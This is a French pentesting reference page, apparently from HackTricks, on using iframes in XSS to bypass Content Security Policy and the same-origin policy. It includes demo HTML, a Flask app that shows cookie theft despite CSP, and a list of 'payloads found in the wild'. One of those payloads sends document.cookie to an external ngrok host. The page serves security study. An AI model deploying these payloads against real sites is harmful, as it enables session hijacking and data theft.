hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
2023-06-03 13:10:46 +00:00

8.3 KiB

Iframes dans XSS, CSP et SOP

Il existe 3 façons d'indiquer le contenu d'une page iframée :

  • Via src indiquant une URL (l'URL peut être de même origine ou de croisement d'origine)
  • Via src indiquant le contenu en utilisant le protocole data:
  • Via srcdoc indiquant le contenu

Accès aux variables parent et enfant

<html>
  <script>
  var secret = "31337s3cr37t";
  </script>

  <iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
  <iframe id="if2" src="child.html"></iframe>
  <iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
  <iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

  <script>
  function access_children_vars(){
    alert(if1.secret);
    alert(if2.secret);
    alert(if3.secret);
    alert(if4.secret);
  }
  setTimeout(access_children_vars, 3000);
  </script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Si vous accédez au code HTML précédent via un serveur HTTP (comme python3 -m http.server), vous remarquerez que tous les scripts seront exécutés (car il n'y a pas de CSP pour l'empêcher). Le parent ne pourra pas accéder à la variable secret à l'intérieur de n'importe quel iframe et seuls les iframes if2 et if3 (considérés comme étant du même site) peuvent accéder au secret dans la fenêtre d'origine.
Notez comment if4 est considéré comme ayant une origine null.

Iframes avec CSP

{% hint style="info" %} Veuillez noter que dans les contournements suivants, la réponse à la page en iframing ne contient aucun en-tête CSP qui empêche l'exécution de JS. {% endhint %}

La valeur self de script-src n'autorisera pas l'exécution du code JS en utilisant le protocole data: ou l'attribut srcdoc.
Cependant, même la valeur none du CSP permettra l'exécution des iframes qui mettent une URL (complète ou juste le chemin) dans l'attribut src.
Il est donc possible de contourner le CSP d'une page avec:

<html>
<head>
 <meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
  <script>
  var secret = "31337s3cr37t";
  </script>
  <iframe id="if1" src="child.html"></iframe>
  <iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
  <iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
  <iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Notez comment la CSP précédente ne permet l'exécution que du script en ligne.
Cependant, seuls les scripts if1 et if2 vont être exécutés mais seul if1 pourra accéder au secret parent.

Par conséquent, il est possible de contourner une CSP si vous pouvez télécharger un fichier JS sur le serveur et le charger via iframe même avec script-src 'none'. Cela peut potentiellement être également fait en abusant d'un point de terminaison same-site JSONP.

Vous pouvez tester cela avec le scénario suivant où un cookie est volé même avec script-src 'none'. Il suffit de lancer l'application et d'y accéder avec votre navigateur :

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
    resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
    resp.headers['Content-Security-Policy'] = "script-src 'self'"
    resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
    return resp

@app.route("/cookie_s.html")
def cookie_s():
    return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
    app.run()

Autres Payloads trouvés dans la nature

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

L'attribut sandbox permet d'appliquer un ensemble supplémentaire de restrictions au contenu dans l'iframe. Par défaut, aucune restriction n'est appliquée.

Lorsque l'attribut sandbox est présent, il va :

  • traiter le contenu comme provenant d'une origine unique
  • bloquer la soumission de formulaire
  • bloquer l'exécution de script
  • désactiver les APIs
  • empêcher les liens de cibler d'autres contextes de navigation
  • empêcher le contenu d'utiliser des plugins (via <embed>, <object>, <applet>, ou autre)
  • empêcher le contenu de naviguer dans son contexte de navigation de niveau supérieur
  • bloquer les fonctionnalités déclenchées automatiquement (telles que la lecture automatique d'une vidéo ou la mise au point automatique d'un contrôle de formulaire)

La valeur de l'attribut sandbox peut être soit vide (alors toutes les restrictions sont appliquées), soit une liste de valeurs prédéfinies séparées par des espaces qui SUPPRIMENT les restrictions particulières.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes dans SOP

Vérifiez les pages suivantes:

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥